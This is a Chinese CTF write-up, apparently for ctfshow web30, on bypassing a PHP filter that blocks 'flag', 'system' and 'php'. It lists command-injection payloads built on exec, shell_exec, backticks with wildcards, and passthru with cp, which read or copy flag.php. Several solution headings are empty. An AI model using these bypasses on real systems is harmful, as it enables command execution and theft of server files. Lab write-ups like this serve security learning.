本题过滤了flag system php
相比与web29,也就多了system和php,既然system被过滤了,那就换其他函数,php被过滤了,还是用通配符解决。
解法1
然后查看源代码
解法2
解法3
然后查看源代码
解法4
然后查看源代码
解法5
然后查看源代码
解法6
由上以及web29可以知道,system被过滤了但还有很多组合,例如:
echo exec("more fla?.*");
echo exec("less fla?.*");
echo exec("nl fla?.*");
echo shell_exec("more fla?.*");
echo shell_exec("cat fla?.*");
echo shell_exec("tac fla?.*");
echo shell_exec("less fla?.*");
echo shell_exec("nl fla?.*");
echo`more fla?.*`;
echo`cat fla?.*`;
echo`tac fla?.*`;
echo`less fla?.*`;
当然一定不只我列出来的这些。
现在在学习一个新的姿势,用cp命令。
先上实例
然后点Execute
最后在url后面加1.txt,然后点Execute
cp命令主要用于复制文件或目录。
语法: cp 源文件 目标文件
意思就是把flag.php复制到1.txt中,然后我们在访问url/1.txt查看1.txt里的内容。
当然我这里用的是passthru("")来执行命令,其他的行不行,去试试就可以了。
以上就是我在本题中的用到和自学到的命令,每天一题,不断积累。